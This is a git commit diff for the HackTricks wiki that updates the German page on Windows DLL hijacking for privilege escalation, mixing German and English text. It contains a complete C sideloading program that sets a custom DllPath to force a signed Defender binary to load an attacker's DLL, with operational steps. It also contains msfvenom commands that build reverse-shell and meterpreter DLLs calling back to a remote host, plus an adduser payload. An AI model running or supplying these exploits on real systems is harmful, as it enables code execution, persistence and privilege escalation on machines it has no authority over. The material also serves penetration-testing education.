mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
Translator
parent
bbaa4debf4
commit
0ad1f9b474
@ -4,118 +4,211 @@
|
||||
|
||||
|
||||
|
||||
## Grundinformationen
|
||||
## Grundlegende Informationen
|
||||
|
||||
DLL Hijacking beinhaltet die Manipulation einer vertrauenswürdigen Anwendung, um eine bösartige DLL zu laden. Dieser Begriff umfasst mehrere Taktiken wie **DLL Spoofing, Injection und Side-Loading**. Es wird hauptsächlich für die Codeausführung, das Erreichen von Persistenz und, seltener, für die Eskalation von Rechten verwendet. Trotz des Fokus auf Eskalation bleibt die Methode des Hijackings über die Ziele hinweg konsistent.
|
||||
DLL Hijacking beinhaltet das Manipulieren einer vertrauten Anwendung, sodass sie eine bösartige DLL lädt. Dieser Begriff umfasst mehrere Taktiken wie **DLL Spoofing, Injection, and Side-Loading**. Er wird hauptsächlich für Codeausführung, das Erlangen von Persistence und seltener für Privilegieneskalation genutzt. Obwohl der Fokus hier auf Eskalation liegt, bleibt die Methode des Hijackings je nach Ziel gleich.
|
||||
|
||||
### Häufige Techniken
|
||||
|
||||
Es werden mehrere Methoden für DLL Hijacking eingesetzt, wobei jede je nach DLL-Lade-Strategie der Anwendung unterschiedlich effektiv ist:
|
||||
Mehrere Methoden werden für DLL Hijacking eingesetzt, deren Wirksamkeit vom DLL-Ladeverhalten der Anwendung abhängt:
|
||||
|
||||
1. **DLL-Ersetzung**: Austausch einer echten DLL gegen eine bösartige, optional unter Verwendung von DLL Proxying, um die Funktionalität der ursprünglichen DLL zu erhalten.
|
||||
2. **DLL-Suchreihenfolge-Hijacking**: Platzierung der bösartigen DLL in einem Suchpfad vor der legitimen, um das Suchmuster der Anwendung auszunutzen.
|
||||
3. **Phantom-DLL-Hijacking**: Erstellung einer bösartigen DLL, die von einer Anwendung geladen wird, die denkt, es handele sich um eine nicht vorhandene erforderliche DLL.
|
||||
4. **DLL-Umleitung**: Modifizierung von Suchparametern wie `%PATH%` oder `.exe.manifest` / `.exe.local`-Dateien, um die Anwendung auf die bösartige DLL zu lenken.
|
||||
5. **WinSxS DLL-Ersetzung**: Ersetzung der legitimen DLL durch eine bösartige im WinSxS-Verzeichnis, eine Methode, die oft mit DLL Side-Loading in Verbindung gebracht wird.
|
||||
6. **Relative Pfad DLL Hijacking**: Platzierung der bösartigen DLL in einem benutzerkontrollierten Verzeichnis mit der kopierten Anwendung, ähnlich den Techniken der Binary Proxy Execution.
|
||||
1. **DLL Replacement**: Ersetzen einer legitimen DLL durch eine bösartige, optional unter Verwendung von DLL Proxying, um die Funktionalität der ursprünglichen DLL zu erhalten.
|
||||
2. **DLL Search Order Hijacking**: Platzieren der bösartigen DLL in einem Suchpfad, der vor dem legitimen liegt, und Ausnutzen des Suchmusters der Anwendung.
|
||||
3. **Phantom DLL Hijacking**: Erstellen einer bösartigen DLL, die eine Anwendung lädt, weil sie glaubt, dass es sich um eine benötigte, aber nicht existierende DLL handelt.
|
||||
4. **DLL Redirection**: Ändern von Suchparametern wie %PATH% oder .exe.manifest / .exe.local Dateien, um die Anwendung auf die bösartige DLL zu verweisen.
|
||||
5. **WinSxS DLL Replacement**: Ersetzen der legitimen DLL durch ein bösartiges Pendant im WinSxS-Verzeichnis, eine Methode, die oft mit DLL side-loading verbunden ist.
|
||||
6. **Relative Path DLL Hijacking**: Ablegen der bösartigen DLL in einem benutzerkontrollierten Verzeichnis zusammen mit der kopierten Anwendung, ähnlich den Binary Proxy Execution Techniken.
|
||||
|
||||
## Fehlende DLLs finden
|
||||
|
||||
Der häufigste Weg, um fehlende DLLs in einem System zu finden, besteht darin, [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) von Sysinternals auszuführen und die **folgenden 2 Filter** einzustellen:
|
||||
Die gebräuchlichste Methode, fehlende DLLs in einem System zu finden, ist das Ausführen von [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) von sysinternals und das **Setzen** der **folgenden 2 Filter**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
und nur die **Dateisystemaktivität** anzuzeigen:
|
||||
und dann nur die **Dateisystemaktivität** anzeigen:
|
||||
|
||||
.png>)
|
||||
|
||||
Wenn Sie nach **fehlenden DLLs im Allgemeinen** suchen, lassen Sie dies einige **Sekunden** laufen.\
|
||||
Wenn Sie nach einer **fehlenden DLL in einer bestimmten ausführbaren Datei** suchen, sollten Sie **einen anderen Filter wie "Prozessname" "enthält" "\<exec name>" setzen, es ausführen und die Ereignisaufnahme stoppen**.
|
||||
Wenn Sie allgemein nach **fehlenden DLLs** suchen, lassen Sie das für einige **Sekunden** laufen.
|
||||
Wenn Sie nach einer **fehlenden DLL in einer bestimmten ausführbaren Datei** suchen, sollten Sie einen **weiteren Filter wie "Process Name" "contains" "<exec name>"** setzen, die Ausführung starten und das Erfassen der Events stoppen.
|
||||
|
||||
## Ausnutzen fehlender DLLs
|
||||
|
||||
Um die Privilegien zu eskalieren, haben wir die beste Chance, wenn wir in der Lage sind, **eine DLL zu schreiben, die ein privilegierter Prozess versuchen wird zu laden** an einem **Ort, wo sie gesucht wird**. Daher werden wir in der Lage sein, **eine DLL in einem** **Ordner** zu **schreiben**, wo die **DLL vorher** im Ordner gesucht wird, wo die **ursprüngliche DLL** ist (seltsamer Fall), oder wir werden in der Lage sein, **in einen Ordner zu schreiben, wo die DLL gesucht wird** und die ursprüngliche **DLL nicht in einem Ordner existiert**.
|
||||
Um Privilegien zu eskalieren, ist die beste Chance, eine **DLL zu schreiben, die ein privilegierter Prozess zu laden versucht**, an einem **Ort, an dem sie gesucht wird**. Daher können wir eine DLL in einem **Ordner** schreiben, der bei der Suche **vor** dem Ordner liegt, in dem die **originale DLL** liegt (ungewöhnlicher Fall), oder wir können in einem Ordner schreiben, in dem die DLL gesucht wird, während die originale **DLL in keinem Ordner existiert**.
|
||||
|
||||
### DLL-Suchreihenfolge
|
||||
|
||||
**In der** [**Microsoft-Dokumentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **finden Sie, wie die DLLs spezifisch geladen werden.**
|
||||
**In der** [Microsoft documentation] **finden Sie, wie DLLs genau geladen werden.**
|
||||
|
||||
**Windows-Anwendungen** suchen nach DLLs, indem sie einer Reihe von **vordefinierten Suchpfaden** folgen, die einer bestimmten Reihenfolge entsprechen. Das Problem des DLL Hijackings tritt auf, wenn eine schädliche DLL strategisch in einem dieser Verzeichnisse platziert wird, um sicherzustellen, dass sie vor der authentischen DLL geladen wird. Eine Lösung zur Vermeidung dessen ist, sicherzustellen, dass die Anwendung absolute Pfade verwendet, wenn sie auf die benötigten DLLs verweist.
|
||||
Windows-Anwendungen suchen nach DLLs, indem sie einer Reihe vordefinierter Suchpfade in einer bestimmten Reihenfolge folgen. Das Problem des DLL Hijackings entsteht, wenn eine schädliche DLL gezielt in einem dieser Verzeichnisse platziert wird, sodass sie vor der authentischen DLL geladen wird. Eine Lösung, dies zu verhindern, ist sicherzustellen, dass die Anwendung absolute Pfade verwendet, wenn sie auf benötigte DLLs verweist.
|
||||
|
||||
Sie können die **DLL-Suchreihenfolge auf 32-Bit**-Systemen unten sehen:
|
||||
Sie können die **DLL-Suchreihenfolge auf 32-Bit** Systemen unten sehen:
|
||||
|
||||
1. Das Verzeichnis, aus dem die Anwendung geladen wurde.
|
||||
2. Das Systemverzeichnis. Verwenden Sie die [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya)-Funktion, um den Pfad dieses Verzeichnisses zu erhalten. (_C:\Windows\System32_)
|
||||
3. Das 16-Bit-Systemverzeichnis. Es gibt keine Funktion, die den Pfad dieses Verzeichnisses erhält, aber es wird durchsucht. (_C:\Windows\System_)
|
||||
4. Das Windows-Verzeichnis. Verwenden Sie die [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya)-Funktion, um den Pfad dieses Verzeichnisses zu erhalten. (_C:\Windows_)
|
||||
5. Das aktuelle Verzeichnis.
|
||||
6. Die Verzeichnisse, die in der PATH-Umgebungsvariable aufgeführt sind. Beachten Sie, dass dies nicht den pro-Anwendungspfad umfasst, der durch den **App Paths**-Registrierungsschlüssel angegeben ist. Der **App Paths**-Schlüssel wird nicht verwendet, wenn der DLL-Suchpfad berechnet wird.
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [GetSystemDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [GetWindowsDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Das ist die **Standard**-Suchreihenfolge mit **SafeDllSearchMode** aktiviert. Wenn es deaktiviert ist, steigt das aktuelle Verzeichnis auf den zweiten Platz. Um diese Funktion zu deaktivieren, erstellen Sie den **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**-Registrierungswert und setzen Sie ihn auf 0 (Standard ist aktiviert).
|
||||
Das ist die **Standard**-Suchreihenfolge mit **SafeDllSearchMode** aktiviert. Wenn es deaktiviert ist, steigt das aktuelle Verzeichnis auf Platz zwei. Um diese Funktion zu deaktivieren, erstellen Sie den Registry-Wert **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** und setzen ihn auf 0 (Standard ist aktiviert).
|
||||
|
||||
Wenn die [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa)-Funktion mit **LOAD_WITH_ALTERED_SEARCH_PATH** aufgerufen wird, beginnt die Suche im Verzeichnis des ausführbaren Moduls, das **LoadLibraryEx** lädt.
|
||||
Wenn die Funktion [LoadLibraryEx](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) mit **LOAD_WITH_ALTERED_SEARCH_PATH** aufgerufen wird, beginnt die Suche im Verzeichnis des ausführbaren Moduls, das **LoadLibraryEx** lädt.
|
||||
|
||||
Beachten Sie schließlich, dass **eine DLL geladen werden könnte, indem der absolute Pfad angegeben wird, anstatt nur den Namen**. In diesem Fall wird diese DLL **nur in diesem Pfad gesucht** (wenn die DLL Abhängigkeiten hat, werden diese wie gerade nach Namen geladen gesucht).
|
||||
Beachten Sie schließlich, dass **eine DLL durch Angabe des absoluten Pfads** geladen werden kann, anstatt nur des Namens. In diesem Fall wird die DLL **nur in diesem Pfad** gesucht (wenn die DLL Abhängigkeiten hat, werden diese beim Laden einfach nach Namen gesucht).
|
||||
|
||||
Es gibt andere Möglichkeiten, die Suchreihenfolge zu ändern, aber ich werde sie hier nicht erklären.
|
||||
Es gibt weitere Möglichkeiten, die Suchreihenfolge zu ändern, die hier nicht erklärt werden.
|
||||
|
||||
#### Ausnahmen bei der DLL-Suchreihenfolge aus den Windows-Dokumenten
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Bestimmte Ausnahmen von der standardmäßigen DLL-Suchreihenfolge sind in der Windows-Dokumentation vermerkt:
|
||||
Eine fortgeschrittene Methode, um deterministisch den DLL-Suchpfad eines neu erstellten Prozesses zu beeinflussen, besteht darin, das DllPath-Feld in RTL_USER_PROCESS_PARAMETERS zu setzen, wenn der Prozess mit den nativen ntdll-APIs erstellt wird. Indem man hier ein vom Angreifer kontrolliertes Verzeichnis angibt, kann ein Zielprozess, der eine importierte DLL nach Namen auflöst (kein absoluter Pfad und keine sicheren Ladeflags), gezwungen werden, eine bösartige DLL aus diesem Verzeichnis zu laden.
|
||||
|
||||
- Wenn eine **DLL, die denselben Namen wie eine bereits im Speicher geladene hat**, gefunden wird, umgeht das System die übliche Suche. Stattdessen wird eine Überprüfung auf Umleitung und ein Manifest durchgeführt, bevor auf die bereits im Speicher befindliche DLL zurückgegriffen wird. **In diesem Szenario führt das System keine Suche nach der DLL durch**.
|
||||
- In Fällen, in denen die DLL als **bekannte DLL** für die aktuelle Windows-Version erkannt wird, verwendet das System seine Version der bekannten DLL sowie alle abhängigen DLLs, **ohne den Suchprozess durchzuführen**. Der Registrierungsschlüssel **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** enthält eine Liste dieser bekannten DLLs.
|
||||
- Sollte eine **DLL Abhängigkeiten haben**, wird die Suche nach diesen abhängigen DLLs so durchgeführt, als ob sie nur durch ihre **Modulnamen** angegeben wären, unabhängig davon, ob die ursprüngliche DLL über einen vollständigen Pfad identifiziert wurde.
|
||||
Kernidee
|
||||
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
|
||||
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
|
||||
|
||||
Hinweise/Einschränkungen
|
||||
- Dies betrifft den erzeugten Child-Prozess; es unterscheidet sich von SetDllDirectory, das nur den aktuellen Prozess beeinflusst.
|
||||
- Das Ziel muss eine DLL nach Namen importieren oder mit LoadLibrary laden (kein absoluter Pfad und nicht unter Verwendung von LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs und hartkodierte absolute Pfade können nicht gehijackt werden. Forwarded exports und SxS können die Präzedenz ändern.
|
||||
|
||||
Minimales C-Beispiel (ntdll, wide strings, vereinfachte Fehlerbehandlung):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Operational usage example
|
||||
- Platziere eine bösartige xmllite.dll (die die benötigten Funktionen exportiert oder an die echte weiterleitet) in deinem DllPath-Verzeichnis.
|
||||
- Starte ein signiertes Binary, das bekanntermaßen xmllite.dll per Name sucht, und nutze die oben beschriebene Technik. Der Loader löst den Import über den angegebenen DllPath auf und sideloadet deine DLL.
|
||||
|
||||
Diese Technik wurde in-the-wild beobachtet und treibt multi-stage sideloading chains an: ein initialer Launcher legt eine Hilfs-DLL ab, die dann ein von Microsoft signiertes, hijackable Binary mit einem benutzerdefinierten DllPath startet, um das Laden der DLL des Angreifers aus einem Staging-Verzeichnis zu erzwingen.
|
||||
|
||||
|
||||
#### Ausnahmen bei der DLL-Suchreihenfolge aus der Windows-Dokumentation
|
||||
|
||||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
||||
|
||||
- When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
|
||||
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
|
||||
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
|
||||
|
||||
### Privilegien eskalieren
|
||||
|
||||
**Anforderungen**:
|
||||
**Voraussetzungen**:
|
||||
|
||||
- Identifizieren Sie einen Prozess, der unter **unterschiedlichen Privilegien** (horizontale oder laterale Bewegung) arbeitet oder arbeiten wird, der **eine DLL** **fehlt**.
|
||||
- Stellen Sie sicher, dass **Schreibzugriff** für ein **Verzeichnis** verfügbar ist, in dem die **DLL** **gesucht wird**. Dieser Ort könnte das Verzeichnis der ausführbaren Datei oder ein Verzeichnis innerhalb des Systempfads sein.
|
||||
- Identifiziere einen Prozess, der unter **anderen Privilegien** läuft oder laufen wird (horizontal or lateral movement) und dem **eine DLL fehlt**.
|
||||
- Stelle sicher, dass **Schreibzugriff** für ein **Verzeichnis** vorhanden ist, in dem nach der **DLL** gesucht wird. Dieser Ort kann das Verzeichnis der ausführbaren Datei oder ein Verzeichnis im Systempfad sein.
|
||||
|
||||
Ja, die Anforderungen sind kompliziert zu finden, da **es standardmäßig seltsam ist, eine privilegierte ausführbare Datei ohne eine DLL zu finden**, und es ist sogar **noch seltsamer, Schreibberechtigungen für einen Systempfad-Ordner zu haben** (standardmäßig können Sie das nicht). Aber in falsch konfigurierten Umgebungen ist dies möglich.\
|
||||
Falls Sie Glück haben und die Anforderungen erfüllen, könnten Sie das [UACME](https://github.com/hfiref0x/UACME)-Projekt überprüfen. Auch wenn das **Hauptziel des Projekts darin besteht, UAC zu umgehen**, finden Sie dort möglicherweise einen **PoC** für ein DLL-Hijacking für die Windows-Version, die Sie verwenden können (wahrscheinlich müssen Sie nur den Pfad des Ordners ändern, in dem Sie Schreibberechtigungen haben).
|
||||
Ja, die Voraussetzungen sind schwer zu finden, da es **standardmäßig ungewöhnlich ist, ein privilegiertes ausführbares Programm zu finden, dem eine DLL fehlt** und es noch **ungewöhnlicher ist, Schreibrechte in einem Systempfad-Ordner zu haben** (das hat man standardmäßig nicht). Aber in fehlkonfigurierten Umgebungen ist das möglich.\
|
||||
Falls du Glück hast und die Voraussetzungen erfüllst, kannst du dir das [UACME](https://github.com/hfiref0x/UACME) Projekt ansehen. Auch wenn das **Hauptziel des Projekts die Umgehung von UAC ist**, findest du dort möglicherweise einen **PoC** eines Dll hijaking für die entsprechende Windows-Version, den du verwenden kannst (wahrscheinlich musst du nur den Pfad des Ordners ändern, in dem du Schreibrechte hast).
|
||||
|
||||
Beachten Sie, dass Sie **Ihre Berechtigungen in einem Ordner überprüfen können**, indem Sie:
|
||||
Note that you can **check your permissions in a folder** doing:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
Und **überprüfen Sie die Berechtigungen aller Ordner im PATH**:
|
||||
Und **prüfe die Berechtigungen aller Verzeichnisse im PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Sie können auch die Importe einer ausführbaren Datei und die Exporte einer DLL mit folgendem Befehl überprüfen:
|
||||
Sie können auch die Imports eines executable und die Exports einer dll mit folgendem überprüfen:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Für eine vollständige Anleitung, wie man **Dll Hijacking ausnutzt, um Privilegien zu eskalieren** mit Berechtigungen zum Schreiben in einen **System Path-Ordner**, siehe:
|
||||
Für eine vollständige Anleitung, wie man **Dll Hijacking ausnutzt, um Privilegien zu eskalieren** mit Schreibrechten in einem **System Path folder** siehe:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Automatisierte Werkzeuge
|
||||
### Automatisierte Tools
|
||||
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) überprüft, ob Sie Schreibberechtigungen für einen Ordner im System-PATH haben.\
|
||||
Andere interessante automatisierte Werkzeuge zur Entdeckung dieser Schwachstelle sind **PowerSploit-Funktionen**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ und _Write-HijackDll._
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) wird prüfen, ob du Schreibrechte auf einen Ordner innerhalb des system PATH hast.\
|
||||
Weitere interessante automatisierte Tools zur Entdeckung dieser Verwundbarkeit sind die **PowerSploit-Funktionen**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ und _Write-HijackDll_.
|
||||
|
||||
### Beispiel
|
||||
|
||||
Falls Sie ein ausnutzbares Szenario finden, wäre eine der wichtigsten Dinge, um es erfolgreich auszunutzen, **eine DLL zu erstellen, die mindestens alle Funktionen exportiert, die die ausführbare Datei von ihr importieren wird**. Beachten Sie jedoch, dass Dll Hijacking nützlich ist, um [von einem Medium Integrity Level auf High **(UAC umgehen)**](../authentication-credentials-uac-and-efs.md#uac) oder von [**High Integrity auf SYSTEM**](#from-high-integrity-to-system)**.** Sie finden ein Beispiel dafür, **wie man eine gültige DLL erstellt** in dieser Dll Hijacking-Studie, die sich auf Dll Hijacking zur Ausführung konzentriert: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Darüber hinaus finden Sie im **nächsten Abschnitt** einige **grundlegende DLL-Codes**, die als **Vorlagen** nützlich sein könnten oder um eine **DLL mit nicht erforderlichen exportierten Funktionen** zu erstellen.
|
||||
Wenn du ein ausnutzbares Szenario findest, ist eine der wichtigsten Maßnahmen, um es erfolgreich auszunutzen, eine dll zu erstellen, die mindestens alle Funktionen exportiert, die das ausführbare Programm von ihr importiert. Beachte außerdem, dass Dll Hijacking nützlich sein kann, um [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) oder von[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** Ein Beispiel dafür, **how to create a valid dll**, findest du in dieser dll hijacking-Studie, die sich auf dll hijacking zur Ausführung konzentriert: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Außerdem findest du im **nächsten Abschnitt** einige **einfache dll-Codes**, die als **Vorlagen** nützlich sein können oder zum Erstellen einer **dll mit nicht benötigten exportierten Funktionen**.
|
||||
|
||||
## **Erstellen und Kompilieren von DLLs**
|
||||
## **Creating and compiling Dlls**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
Im Grunde ist ein **Dll-Proxy** eine DLL, die in der Lage ist, **Ihren schädlichen Code auszuführen, wenn sie geladen wird**, aber auch **auszusetzen** und **zu arbeiten**, wie **erwartet**, indem sie **alle Aufrufe an die echte Bibliothek weiterleitet**.
|
||||
Grundsätzlich ist ein **Dll proxy** eine dll, die in der Lage ist, **bei Laden deinen bösartigen Code auszuführen**, aber auch die erwartete Funktionalität bereitzustellen und zu funktionieren, indem sie alle Aufrufe an die echte Library weiterleitet.
|
||||
|
||||
Mit dem Tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) oder [**Spartacus**](https://github.com/Accenture/Spartacus) können Sie tatsächlich **eine ausführbare Datei angeben und die Bibliothek auswählen**, die Sie proxifizieren möchten, und **eine proxifizierte DLL generieren** oder **die DLL angeben** und **eine proxifizierte DLL generieren**.
|
||||
Mit dem Tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) oder [**Spartacus**](https://github.com/Accenture/Spartacus) kannst du ein ausführbares Programm angeben und die Library auswählen, die du proxifizieren möchtest, und eine proxified dll generieren oder die Dll angeben und eine proxified dll generieren.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
@ -123,17 +216,17 @@ Mit dem Tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Holen Sie sich einen Meterpreter (x86):**
|
||||
**Hole einen meterpreter (x86):**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Einen Benutzer erstellen (x86, ich habe keine x64-Version gesehen):**
|
||||
**Erstelle einen Benutzer (x86, ich habe keine x64-Version gesehen):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Dein eigenes
|
||||
|
||||
Beachte, dass die Dll, die du kompilierst, in mehreren Fällen **mehrere Funktionen exportieren** muss, die vom Opferprozess geladen werden, wenn diese Funktionen nicht existieren, **kann die Binary sie nicht laden** und der **Exploit wird fehlschlagen**.
|
||||
Beachte, dass in mehreren Fällen die Dll, die du kompilierst, **mehrere Funktionen exportieren muss**, die vom Opferprozess geladen werden. Wenn diese Funktionen nicht existieren, wird die Binärdatei sie nicht laden können und der **exploit wird fehlschlagen**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -221,4 +314,7 @@ return TRUE;
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -3,136 +3,229 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Grundinformationen
|
||||
## Grundlegende Informationen
|
||||
|
||||
DLL Hijacking beinhaltet die Manipulation einer vertrauenswürdigen Anwendung, um eine bösartige DLL zu laden. Dieser Begriff umfasst mehrere Taktiken wie **DLL Spoofing, Injection und Side-Loading**. Es wird hauptsächlich für die Codeausführung, das Erreichen von Persistenz und, seltener, für die Eskalation von Rechten verwendet. Trotz des Fokus auf Eskalation bleibt die Methode des Hijackings über die Ziele hinweg konsistent.
|
||||
